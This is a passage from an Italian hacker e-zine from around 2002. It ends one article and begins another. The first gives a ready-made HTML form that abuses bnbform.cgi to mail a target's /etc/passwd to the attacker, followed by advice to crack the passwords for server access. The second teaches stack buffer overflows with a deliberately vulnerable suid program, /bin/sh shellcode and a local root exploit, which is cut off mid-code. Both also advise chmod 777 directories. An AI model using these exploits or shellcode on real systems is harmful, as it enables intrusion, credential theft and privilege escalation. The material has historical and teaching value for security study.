| Un'altra variabile importante è questa: |
| |
| $SMTP_SERVER="localhost"; |
| #$SEND_MAIL="/usr/lib/sendmail -t"; |
| |
| Serve a determinare chi tra il demone SMTP o il prog. sendmail, deve |
| avere l'incarico di mandare la posta. |
| Se non è possibile utilizzare sendmail, non decommentare la riga, |
| altrimenti in caso di possesso di tutti e 2 i programmi, abilitarli |
| entrambi. |
| |
| Ultima variabile importante è: |
| |
| $lockfile="/tmp/bnbform.lck"; |
| |
| Come si può notare, questo file viene creato temporaneamente dallo |
| script, quindi và settata un path dove sia possibile che il cgi |
| scriva. |
| Sicuramente il cgi nn potrà scrivere nella dir. ti temp del server, |
| quindi creare una directory nella vostra home. |
| Esempio: |
| |
| mkdir /home/spyro/tmp |
| |
| Poi, diamogli tutti i permessi: |
| |
| chmod 777 /home/spyro/tmp |
| |
| |
| Perfetto, con quest'ultima variabile, abbiamo completato la |
| configurazione del file bnbform.cgi . |
|
|
| Adesso passiamo alla modifica del file bnbform.html |
| Editiamolo con un qualsiasi editor testuale e se necessario, |
| facciamo le seguenti modifiche. |
| |
| <FORM METHOD="POST" ACTION="/cgi-bin/bnbform.cgi"> |
| |
| La stringa qui sopra citata,ha come path di default: |
| |
| /cgi-bin/bnbform.cgi |
| |
| Quindi se noi installiamo lo script in: |
| |
| /cgi-bin/bnbform/bnbform.cgi |
| |
| |
| La stringa diventerà: |
| |
| <FORM METHOD="POST" ACTION="/cgi-bin/bnbform/bnbform.cgi"> |
| |
| Di conseguenza modificare anche i link che dirigono verso le |
| pagine di ringraziamento e errore: |
| |
| VALUE="http://domain.com/test/thanks.html"> |
| |
| VALUE="http://domain.com/test/oops.html"> |
| |
| Diventano: |
| |
| VALUE="http://domain.com/bnbfile/thanks.html"> |
| |
| VALUE="http://domain.com/bnbfile/oops.html"> |
| |
| |
| Infine cambiare anche il valore del sender(submit_to): |
| |
| <INPUT TYPE="HIDDEN" NAME="submit_to" VALUE="yourname@domain.com"> |
| |
| Fine della configurazione, che come si può notare, è molto |
| semplice. |
| |
| |
| INSTALLAZIONE: |
| |
| Anche l'installazione è una fase molto semplice. |
| Copiare i file "bnbform.cgi" e "mymessabe.baud" nella directory |
| |
| /cgi-bin/bnbform |
| |
| Adesso dobbiamo sistemare le pagine html. |
| Andare nella propia directory public_html o html e creare la directory |
| apposita: |
| |
| cd public_html |
| mkdir bnbfile |
| |
| Poi come al solito gli diamo i pieni permessi: |
| |
| chmod 777 bnbfile |
| |
| Entrare in quest'ultima directory e copiare tutti i file .html |
| |
| Stessa procedimento è possibile effettuandolo da ftp. |
| |
| Finita l'installazione,apriamo il nostro broswer e colleghiamoci a: |
| |
| http://nostrosito.it/bnbform.htm |
| |
| altrimenti: |
| |
| http://localhost/bnbform.htm |
| |
| (Dipende da dove avete montano lo script) |
| e controllare se lo script funzioni alla perfezione. |
| Dopo, modificare i campi necessari all'interno del file bnbform.html |
| dove non sarà difficile identificare quali siano obbligatori o meno. |
| |
| |
| FINE INSTALLAZIONE |
| |
| |
| P.s |
| Ricordo che per usufruire di questo script cgi, come tutti del resto, |
| è necessario che sul server sia presente un interprete perl. |
| Per scaricarsi il file .tar o .zip del bnbform,recarsi all'url: |
| |
| http://bignosebird.com/ |
| |
| Più precisamente: |
| |
| http://bignosebird.com/carchive/bnbform.shtml |
| |
| |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| |
| cd /Exploitare_il_bnbform.cgi |
| cat exploitare_il_bnbform.cgi.txt |
| |
| Adesso arriviamo alla fase calda dell'articolo. |
| Ovvero vedremo come sfruttare questo cgi script per avere accesso ad un |
| server. |
| Il bug in questo cgi consente di leggere file arbitrari contenuti nel |
| filesystem. |
| Il problema è che questo form spedisce un'email di risposta all'user |
| con il contenuto di qualsiasi tipo di file contenuto nella variabile |
| dell'autommessage. |
| Questo può essere usato per specificare ogni tipo di file che è letto |
| dall'uid del webserver. |
| Questo bug è stato scovato il 3 Dicembre 1998 da: |
| |
| duke (duke@viper.net.au - duke@el8.org) |
| |
| Nonostante la sua datata scoperta, non è mai stata rilasciata una patch, |
| infatti le versioni buggate sono: |
| |
| |
| Big Nose Bird BNBForm 1.0 |
| Big Nose Bird BNBForm 2.0 |
| Big Nose Bird BNBForm 3.0 |
| |
| Quindi l'unico modo di evitare questo bug, è aggiornare il proprio |
| script alla versione: |
| |
| |
| Big Nose Bird BNBForm 4.0 |
| |
| che è stato rilasciato senza questa vulnerabilità. |
| |
| Qui di seguito riporterò le linee fondamentali del form |
| per exploitare il cgi. |
| Nell'esempio qui citato, cercheremo di farci mandare il file |
| di passwd del sistema. |
| |
| Come detto in precedenza, la variabile automessagge permette la |
| lettura di file, infatti noi settiamo la stringa: |
| |
| <INPUT TYPE="HIDDEN" NAME="automessage" VALUE="/etc/passwd"> |
| |
| per farci mandare il file di passwd. |
| |
| Altra cosa importante, è la prima stringa, dove si cita l'host( o l'ip) |
| e il precorso del bnbform.cgi: |
| |
| <FORM METHOD="POST" ACTION="http://www.victim.com/cgi-bin/bnbform.cgi"> |
| |
| |
| Codice da salvare in un file .htm : |
| |
| |
| |
| <FORM METHOD="POST" ACTION="http://www.victim.com/cgi-bin/bnbform.cgi"> |
| <PRE> |
| FIELDS MARKED WITH * ARE REQUIRED! |
| Your Name:* <INPUT TYPE="TEXT" NAME="name" SIZE=35 MAXLENGTH=50> |
| E-Mail Address:* <INPUT TYPE="TEXT" NAME="submit_by" SIZE=35 |
| MAXLENGTH=50> |
| <INPUT TYPE="submit" VALUE="Send Mail!"> |
| <INPUT TYPE="reset" VALUE=" Clear-Form"> |
| </pre> |
| |
| <!-- SCRIPT CONFIGURATION SECTION --> |
| <INPUT TYPE="HIDDEN" NAME="required" VALUE="name"> |
| <INPUT TYPE="HIDDEN" NAME="data_order" VALUE="name"> |
| <INPUT TYPE="HIDDEN" NAME="autorespond" VALUE="yes"> |
| <INPUT TYPE="HIDDEN" NAME="automessage" VALUE="/etc/passwd"> |
| <INPUT TYPE="HIDDEN" NAME="form_id" VALUE="My Test Form"> |
| <INPUT TYPE="HIDDEN" NAME="ok_url" VALUE="http://127.0.0.1/thanks.html"> |
| <INPUT TYPE="HIDDEN" NAME="not_ok_url" |
| VALUE="http://127.0.0.1/oops.html"> |
| <!-- END OF SCRIPT CONFIGURATION SECTION --> |
| </form> |
| |
| |
| Appena salvato il file,eseguiamolo. |
| Nei 2 box,come richiesto metteremo: |
| |
| Un nome a caso,e l'indirizzo e-mail da dove vogliamo recapitare il |
| file di passwd. |
| Poi premiamo il bottone "Send Mail!" |
| Se il sito attaccato ci risponderà con la pagina: thanks.html ,l'hack |
| è andato a buon fine, altrimenti c'è qualcosa che non và: sul server o |
| sulla vostra pagina html. |
| Dopo che ci apparirà la pagina thanks.html, dirigiamoci subito verso |
| la nostra mail e leggiamo il file di passwd che ci arriverà in |
| allegato. |
| |
| Adesso che abbiamo il file di passwd, lo diamo in pasto ad un password |
| cracker per l'agloritmo DES, come john the ripper e aspettiamo che |
| trovi le pass ai suoi rispettivi login. |
| Trovate le pass, avrete accesso al server,tramite i suoi relativi |
| demoni attivi e abilitati all'uso(ammesso che ci siano). |
| |
| Anche x oggi abbiamo finito, spero abbiate imparato qualcosa di nuovo, |
| altrimenti è stato solo un ripasso(che nn fa mai male). |
| |
| Un saluto dal vostro draghetto |
| |
| SPYRO |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| |
| bash# cd /Ringraziamenti_e_saluti |
| bash# cat ringraziamenti_e_saluti.txt |
| |
| |
| Saluti: Bakunin(Mio grande maestro),AtlaWare,mR_bIs0n,Spawn, |
| BsTHaCk,Anubi ,D4rkSt4r ,jex,Silent,dibbellas,^maga^, |
| Radion,Warning,Terror,Gouranga,Blender,Prodigy, |
| Hiolz[83],Memorik,Hedo, |
| MrWolf,Screen_it,zapotecz, |
| Goony,Scire,Sulex,Floppino,Grungio,Fratak, |
| McGiver,AntiS,gouranga,LizDay,satz,cancerman, |
| ULCC,Spider2k,Ice'St0rm, |
| e tutti quelli che ho dimenticato di #phreak.it(scusatemi). |
| |
| I miei amici di azzurranet, in particolare: |
| [Net_Digger],^stan^,HomePack,nix,Resinaro |
| |
| Poi saluto anche tutti quelli dei tankcommandos,della hrn,pbk, |
| Maphias0ft, gli Spippolatori,in particolare: |
| il grande Master,Chrome,Brigante,RigorMortem,Vinx2o2o,fen0x, |
| DARKMAN,risk e tutti quelli che mi vogliono bene :) |
| |
| |
| Fuck to: MMMMM un gran vaff. all'amicizia fra ragazzi e ragazze!! |
| |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| |
| |
| bash# cat end.c |
| |
| |
| |
| #include <stdio.h> |
| |
| int main(void){ |
| |
| printf("Anche per oggi è tutto dal vostro SPYRO\n"); |
| |
| printf("Ciaoooooooooooo\n"); |
| |
| } |
| |
| |
| bash# halt |
| |
| ATTENDERE:ARRESTO DEL SISTEMA IN CORSO...... |
| |
| ORA SI PUO' SPEGNERE IL COMPUTER! |
| |
| ahahaha scherzo ;) |
| |
| |
| Url: http://www.spyrohack.com |
| |
| E-mail: spyro2600[at]yahoo.it |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L'ANG0L0 DEGLi ExPL0iT #08 - 01/11/2002 |
| LA G0CCiA CHE FA TRAB0CCARE iL BUFFER [e4m] 0x10/0x1A |
+--------------------------------------------------------------------------+
| + La goccia che fa traboccare il buffer + |
| |
| (versione 2 riveduta , agiornata e corretta ..!) |
| |
| Written by e4m - e4m@autistici.org |
| Two tux security portal - www.twotux.org |
| @ irc.azzurra.org - e4m |
| ================================================================= |
| |
| Sotto menù dell'articolo: |
| ----------------------- |
| [*]- Intro |
| | |
| \-> Disclaimer |
| | |
| \-> Focus Sullo Stack |
| | |
| \-> Intro All'Overflow |
| |
| [*]- Application |
| | |
| \-> Il nostro primo "programmillo" |
| | |
| \-> ShellCoding (..proviamo??!) |
| | |
| \-> Avanzate Di Dumping |
| | |
| \-> Exploiting Remote |
| |
| [*]- End |
| | |
| \-> Greetz & Conclusion |
| |
| |
| ================================================================= |
| |
| Disclaimer |
| >>>>>>>>>>>>>>>>> |
| |
| Salve una piccola disclaimer fà sempre bene! Prima di iniziare vi |
| dico di NON APPLICARE ASSOLUTAMENTE le informazione che trovate |
| scritte in questo articolo. L'autore pertanto fornisce i sorgenti |
| scritti da lui sotto licenza GPL! Assolutamente modificabili a |
| patto che non siano usati per scopi LOSCHI. Sono pertanto OPEN- |
| SOURCE. Invito a tutti i lettori del precendente articolo sulla |
| crittografia apparso su OQ, a leggere il forum di ONDAQUADRA |
| il POST "Scuse" per aver pubblicato sorgenti di autore incognito |
| tutt'ora sul testo [..] Infine l'autore protegge la sua privacy |
| ai sensi dell'articolo 21 della costituzione ITALIANA. |
| |
| - "Tutti hanno diritto di manifestare liberamente il proprio |
| pensiero con la parola, lo scritto e ogni altro mezzo di diffusione. - |
| |
| Vi auguro una buona lettura ;) |
| =================================================================== |
| |
| Focus sullo Stack |
| >>>>>>>>>>>>>>>>>> |
| |
| Questa volta sono qui per illustrarvi dettagliatamente come riuscire |
| a manipolare un programma. Nel nostro caso non useremo exploit |
| precompilati e roba varia già esistente in rete,bensi' lo scriveremo |
| noi con un po (tanta) di pasienza.... |
| Tutto qui? eh no, miei cari non e' facilissimo riuscire a fregare |
| un programma attraverso buffer owerflow. |
| Ultimamente mi sono trovato ad avere a che fare con owerflow di un |
| programma che sicuramente avranno fregato altri 100 mila reverser... |
| ma non si sa mai... noi riusciremo ad usare un metodo alternativo. |
| Uno special greetz va a andreageddon che praticamente è il mio tutor |
| personale :P . Se vi sentite pronti di iniziare vi illustrero' innanzi |
| tutto come funge un buffer,per chi di assembly e company non ne fa |
| uso comune troverà qui scritte tutte le informazioni necessarie.: |
| |
| |Higt addresses |
| | |
| | +--------+ |
| | | DatA | |
| |StaCk | pUsched| |
| |GrOwS +--------+ <---(SP) sTAck PoInTeR |
| | | | |
| | | FreE | |
| | | SpAcE | |
| | | | |
| | +--------+ <---(SS) stAcK sEgMEnT |
| | |
| V Low addresses |
| |
| Questo mio disegnino e' famoso, ma molto utile. Lo sapevate che |
| esiste una speciale area di memoria, denominata stack? Nella quale |
| area possono essere salvati e recuperati i valori desiderati. |
| Quest'area di memoria e' organizzata come una pila di piatti. |
| L'ultimo che viene messo e' il primo ad essere prelevato. |
| Questo tipo di organizzazione e' denominata Last On First Off (LOFO), |
| oppure Last In First Out (LIFO). Faremo uso delle istruzioni |
| PUSH & POP rispettivamente inseriscono e prelevano un determinato |
| dato dallo stack. Che cacchio centra tuto cio'? ..Vedrete! .. |
| Via via che nuovi dati sono posti nello stack, questo cresce |
| verso il basso. Come si vede dalla "figura", lo stack ha inizio ad un |
| indirizzo alto e |
| cresce verso il basso.... Ancora non avete le idee chiare? |
| Eh,se mettessimo piu' dati un array,facendo owerflov_are = trabboccare |
| dati in eccesso? |
| Il trabboccamento avviene piu o meno cosi': |
| |
| buffer sfp ret |
| <--- [BBBBBBBBBB][xxxx][xxxx] |
| |
| Questa e' una parte dello stack frame. |
| Sostanzialmente abbiamo 10 bytes di buffer, 4 bytes dello Stack Frame |
| Pointer e altri 4 di Indirizzo di ritorno. Sovrascrittura dello spazio |
| dello stack non appartentente a quell'array. Quando termina una |
| funzione |
| il programma torna al "ret", invece di fralo ritornare dove vuole lui e |
| lo facessimo tornare dove vogliamo noi?...ad esempio reindirizzandolo |
| ad |
| una shellcode :) Bhe.. se il programma e' di proprieta' root (uid 0) e |
| suid +s (bit suiddato!)..possiamo "fregarlo". Ora ci tocca conoscere a |
| fondo il nostro amico buffer se vogliamo reversarlo dobbiamo conoscere |
| gli indirizzi necessari per iniettare la nostra shellcode |
| (poi vedremo..!). |
| Facciamo il caso che 0xbfbffbc8 fosse l'offset dello stack, |
| se scrivessimo un programma ,qualsiasi variabile dichiarata |
| sarebbe allocata nell'indirizzo di memoria immediatamente |
| successivo a questo indirizzo. Con un po' di tentativi assistiti |
| dalla fortuna e' cosi' possibile trovare l'indirizzo di un buffer |
| all'interno della memoria. Infatti c'e' da dire che qualsiasi |
| programma inserisce il suo record di attivazione nel buffer li' |
| oltre lui il ret e lo sfp troviamo pure le variabili del programma. |
| Questa tabella puo'esservi utile: |
| ===================================================================== |
| |
| |
| |
| Intro all'overflow |
| >>>>>>>>>>>>>>>>>>> |
| |
| Tutti, anche i meno esperti sapranno come si dividono le variabile, ma |
| non si sa mai..! Ecco qui , fate molta attenzione: |
| |
| * Char |
| Carattere (esempio. a) -> Questo Ci servirà |
| |
| * Int |
| Numero intero (esempio. 3) -> Idem per questo! |
| |
| * Short |
| Numero intero corto |
| |
| * Long |
| Numero intero lungo |
| |
| * Float |
| Numero reale "corto" |
| |
| * Double |
| Numero reale "lungo" |
| |
| |
| Bene idem con array e puntatori comunque è bene ridarci una |
| sbirciatina: |
| Un array e' una struttura contenente una successione di caratteri |
| oppure di numeri. |
| |
| char rotfl[10]="abcdefghil" (esempio incorretto) |
| |
| per chi non lo sapesse un array viene specificato un numero più grande |
| di quello che |
| si vuole inserire dentro. Esempio: |
| |
| Stringa da mettere in array: rotfl (5caratteri) |
| |
| char rotfl[6]="rotfl" (notete quel 6 che sta per 5) |
| |
| L'ultimo carattere non conta! Potremmo benissimo strutturare l'array |
| ROTFL così: |
| |
| rotfl[0]='r'; |
| rotfl[1]='o'; |
| rotfl[2]='t'; |
| rotfl[3]='f'; |
| rotfl[4]='l'; |
| |
| Ora torna, il fatto dei 5 caratteri infatti l'ultimo e'0 ! |
| |
| IL problema ora della sicurezza informatica può essere così banale! |
| State a sentire: |
| Un array non e' dinamico , ossia se è stato dichiarato 5 non potrà |
| contenere 6 o 7. |
| Si potrebbe gestire l'array come stringa in questo modo "giocando con |
| la |
| memoria". |
| Vediamo ora come si gestiscono gli array (tramite la malloc) |
| che ci servirà successivamente nei programmi che scriveremo: |
| Qui riporto una parte di manuale "man malloc" chè è sacro e utilissimo: |
| |
| |
| |
| NAME |
| calloc, malloc, free, realloc - Allocate and free dynamic |
| memory |
| |
| SYNOPSIS |
| #include <stdlib.h> |
| |
| void *calloc(size_t nmemb, size_t size); |
| void *malloc(size_t size); |
| void free(void *ptr); |
| void *realloc(void *ptr, size_t size); |
| |
| DESCRIPTION |
| calloc() allocates memory for an array of nmemb elements |
| of size bytes each and returns a pointer to the allocated |
| memory. The memory is set to zero. |
| |
| malloc() allocates size bytes and returns a pointer to the |
| allocated memory. The memory is not cleared. |
| |
| free() frees the memory space pointed to by ptr, which |
| |
| Cosa altro c'e' da capire grazie linux e il tuo man! |
| |
| char *vettore; |
| vettore = malloc(strlen("ROTFL!")); /* copia nel vettore!*/ |
| vprintf(vettore,"%s",); |
| printf("%s\n",vettore); |
| free(vettore); /* libera il vettore*/ |
| |
| Avremmo : ROTFL! |
| |
| |
| Se non volete fare la fine dei soliti programmatori inesperi che |
| combinano casini |
| liberate!! con free() la memoria .. a furia di sovraccaricarla potrebbe |
| partirvi tutto :) |
| Revisione veloce alle funzioni applicative su stringhe array e |
| compagnia |
| bella :P |
| |
| void strcpy(char *dest, char *orig) /* Copia il char da "origine" a |
| "destinazione" */ |
| /* lo useremo bene dopo... */ |
| |
| int strlen(char *vettore) |
| /* Restituisce la lunghezza in caratteri del vettore */ |
| /* futile per i nostri scopi.. */ |
| |
| int sizeof(void *vettore) /* Restituisce la grandezza del vettore */ |
| /*carino calcola : 1byte x numero degli elementi in array .. ma |
| anchesso futile!*/ |
| |
| |
| Ora osservate questo esempio di codice C, è logicamente tutto |
| illustrato |
| e commentato: |
| |
| |
| void pluto(int a, char b) { |
| /* un certo void dove vengono dichiarati */ |
| /* (integer:a) e (character:b)*/ |
| |
| int i; |
| |
| char rotfl[10]; |
| /* questo array è pericoloso ..! */ |
| |
| ... |
| |
| } |
| |
| |
| |
| [Half of buffer] |
| array--> | | <--variabili |
| rotfl i psp ret a b |
| |
| Low Addreses [ ][ ][ ][ ][ ][ ] Hight |
| adresses |
| |
| Addreses [EEEEEEEEEEEE][EEEE][FFFF][FFFF][FFFF][FFFF] |
| |
| Addreses of memory 0123456789AB CDEF 0123 4567 89AB CDEF |
| |
| |
| Okkio: da notare rotfl[] e' dichiarato di 10 byte eppure ne occupa 12. |
| Ponete attenzione a questa sovrascrittura (ometto schemino complesso): |
| |
| void rotfl(int a, char b) { |
| |
| int i; |
| |
| char parola[10]; |
| |
| char buffer[50] = "aa"; |
| |
| |
| |
| strcpy(parola, buffer); /*strcpy è stringcopy infatti */ |
| /* copia il valore del buffer in parola*/ |
| |
| } |
| |
| |
| rotfl i psp ret a b |
| |
| Low Addreses [aaaaaaaaaaXX][aaaa][aaaa][aaaa][aaaa][aaaa] Hight |
| adresses |
| sovrascrittura aree (SIGSEGV)----------> |
| |
| |
| Avremo un bell'owerflow dei dati,infatti "a" invadera' altri spazi, |
| la macchina vi restituira' un "Segmentation Fault" . nel nostro caso |
| rotf[[] cerchera' di far saltare all'indirizzo (ret) "a" che |
| in hex /0x41h. Logicamente lamacchina per quanto possa essere |
| premurosa a saltare al return non |
| riuscirà ripareare i danni che causerebbe una shellcode [..] |
| |
| Ora se noi a posto di quel ret un indirizzo valido, una shellcode? |
| Il flusso riprende al ret e se ret=shellcode noi siamo root,un gioco di |
| parole :P |
| |
| Il buffer abbiamo capito come owerflowarlo.Ma dobbiamo capire meglio la |
| funzione dei nop.. in pratica e' un istruzione /x90 assembly che non fa |
| altro che saltare a quella successiva,proprio quello che ci serviva per |
| trovare l'indirizzo del buffer. Bene noi dobbiamo effettuare un salto |
| all'inizio del buffer del nostro programma vulnerabile per eseguire lo |
| shellcode, ma non sappiamo esattamente dove saltare. Ma se i primi 200 |
| bytes del buffer fossero NOP prima dello shellcode ? Allora potremmo |
| saltare ad ogni posizione nel buffer |
| finche' non viene raggiunto ed eseguito lo shellcode! Con questo |
| sistema abbiamo solo bisogno di sapere in linee generali dove e' il |
| buffer, per raggiungere lo |
| stack pointer e sottrargli un offset con un incremento di 30 o 40, |
| finche' non raggiungiamo un NOP nel buffer. W i nops :) |
| Introduciamo noi un buffer nel codice dell'exploit di 600 bytes e una |
| linea di comando che ci consente di specificare l'offset dello stack |
| pointer.: |
| |
| Faccio un ultimo esempio prima di passare a scrivere l'exploit: |
| |
| |
| |
| void main() { |
| |
| int *ret; /* supponiamo che il ret sua integer.. */ |
| |
| char rotfl[] = "\x90\x90\x90\x90\x90\x90\xb8\x01\x00\x00\x00" |
| |
| "\xbb\x00\x00\x00\x00\xcd\x80"; |
| |
| /* ..che abbiamo una lista stringa in array con quella shellcode */ |
| |
| |
| |
| ret = (int *)&ret + 2; /* leggi sotto!*/ |
| |
| *ret = (int)rotfl; |
| |
| } |
| |
| |
| |
| |
| Addreses DDEEEEEEEEEEEEEEEEFFFF FFFF FFFF FFFF |
| |
| Addreses of memory EF0123456789ABCDEF0123 4567 89AB CDEF |
| |
| rotfl *ret sfp ret |
| |
| <------ [ cagata-di-codice-hex ][ ][ ][0xDE] |
| |
| <-- (ret) Saltera' nell'array "rotfl" |
| |
| |
| ====================================================================== |
| |
| Il nostro primo "programmillo" |
| >>>>>>>>>>>>>>>>>>>>>>>>>>>>>> |
| |
| |
| "Vedo" (spero!!) che ora avete capito.. (che imbecille che sono :P), |
| *ret = (int)rotfl; cambia il return address all'indirizzo di rotfl[] |
| Ora ci tocca scoprire l'indirizzo dello stack pointer, facilissimo, |
| approfittiamo del fatto che lo stack pointer e' nel (registro eax), |
| spostandolo nel buffer di ritorno (registro esp),avvalendoci della |
| funzione Sp() ... |
| |
| |
| unsigned long sp(void) { |
| __asm__("movl %esp, %eax"); } |
| |
| /* _asm_ esegue in C un istruzioen ASM |
| * |
| * movl %esp , %eax |
| * |
| * equivale a: |
| * |
| * mov eax , esp |
| * |
| */ |
| |
| void main(void) { |
| printf("0x%x\n", sp()); |
| |
| /* Questo è il main la la parte principale |
| * pove in pratica viente spostato con SP() |
| * l'indirizzo importante , logicamnete |
| * printf() lo stampa :PP ! |
| */ |
| |
| } |
| |
| |
| Proviamo pure : |
| |
| [e4m@twotux e4m]$ gcc -o stack stack.c |
| [e4m@twotux e4m]$ ./stack |
| [e4m@twotux e4m] 0xbfbffbc4 <-- esempio :) |
| [e4m@twotux e4m]$ |
| |
| |
| Ora vedremo come un semplice ma allo stesso tempo RIPETITIVO! |
| errore di programmazione in questo esempio possa darci root, lo |
| chiameremovulnerable e setteremo : < chmod +s vulnerable > |
| mentre siamo root da bravi lameri :) ..: |
| |
| |
| /* Questo e' un programma vulnerabile, per testare l'exploit */ |
| |
| int main(int argc, char *argv[]) { |
| char buffer[512]; /* mhhh...! */ |
| if(argc>=2) strcpy(buffer, argv[1]); /* deheheh :) */ |
| return 0; |
| } |
| |
| Ed ora l'apposito exploit multiargomentato e commentato :) |
| |
| |
| ------------------------8<--CUT HERE--8<------------------------------- |
| - |
| |
| |
| /* Smasher Overflow Example. |
| * Copy Left By e4m (opensource) |
| * |
| * Compatible (FreeBsd & Linux) |
| * This Programm profit of bit suid |
| * of bugged example! You must use |
| * ONLY to understand BufferOverflow |
| * most popular of bug :P |
| * |
| * |
| * e4m@bitchx.it |
| * www.twotux.org |
| * |
| */ |
| |
| |
| #include <stdio.h> |
| #include <stdlib.h> |
| |
| #define BUFFERSIZE 612 |
| /* Array buffer, di 512 ossia buffer+100 bytes*/ |
| |
| /* shellcode per freebsd (*bsd ?) */ |
| char bsdshell[] = |
| "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" |
| "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53" |
| "\xb0\x3b\x50\xcd\x80"; |
| |
| /* linux x86 shellcode written by aleph1 !! */ |
| char lunixshell[] = |
| "\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\x$" |
| "\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\x$" |
| "\x80\xe8\xde\xff\xff\xff/bin/sh"; |
| |
| /* ..eccoti una shell */ |
| |
| |
| |
| unsigned long sp(void) |
| { |
| __asm__("movl %esp, %eax"); |
| |
| /* istruzione assembly in array C , |
| /* utilizzata per il valore dello stack pointer (registro eax) */ |
| /* nel buffer di ritorno (registro esp) */ |
| |
| } |
| |
| void usage(char *cmd) { |
| printf("\nSemblice Owerflow di vulnerable \n"); |
| /* C'e' bisogno di commento? :P */ |
| printf("\nCoded by e4m thx to MASTER aleph1 \n"); |
| printf("\nSintassi: %s <offset> <os>\n\n", cmd); |
| /* Sinstassi d'utilizzo*/ |
| printf("OS types are: 1. FreeBSD (*bsd?) 2. Linux\n\n"); |
| /* scegli l'os */ |
| exit(-1); } |
| |
| int main(int argc, char *argv[]) |
| { |
| |
| int i, offset, os; |
| /* variabili , offset */ |
| long esp, ret, *addr_ptr; |
| /* retun address , esp in cui e' contenuto */ |
| /*l'indirizzo dello stackpointer*/ |
| char *buffer, *ptr, *osptr; |
| /* buffer e ptr */ |
| if(argc<3) usage(argv[0]); |
| /* chiudo il prog. se non viene specificato l'offset */ |
| |
| /* specifico le variabili */ |
| |
| offset = atoi(argv[1]); |
| /* prendo l'offset che tu hai specificato */ |
| esp = sp(); |
| /* vedo l'indirizzo dello stack pointer */ |
| ret = esp-offset; |
| /* sp - offset = return address :) */ |
| os = atoi(argv[2]); |
| /* vedo l'os che hai scelto */ |
| |
| |
| if(os<1 || os>2) usage(argv[0]); |
| |
| /* Resoconto generale */ |
| printf(" Stack pointer: 0x%x\n", esp); |
| /* 1. stackpointer add.*/ |
| printf(" Offset: 0x%x\n", offset); |
| /* 2. offset */ |
| printf(" Return addr: 0x%x\n", ret); |
| /* retun address */ |
| |
| /* allocazione di memoria per il buffer */ |
| if(!(buffer = malloc(BUFFERSIZE))) { |
| /* confronta il buffer con malloc , vedo se e' heap*/ |
| printf("Couldn't allocate memory.\n"); |
| /* errore */ |
| exit(-1); |
| /* on error esce */ |
| } |
| |
|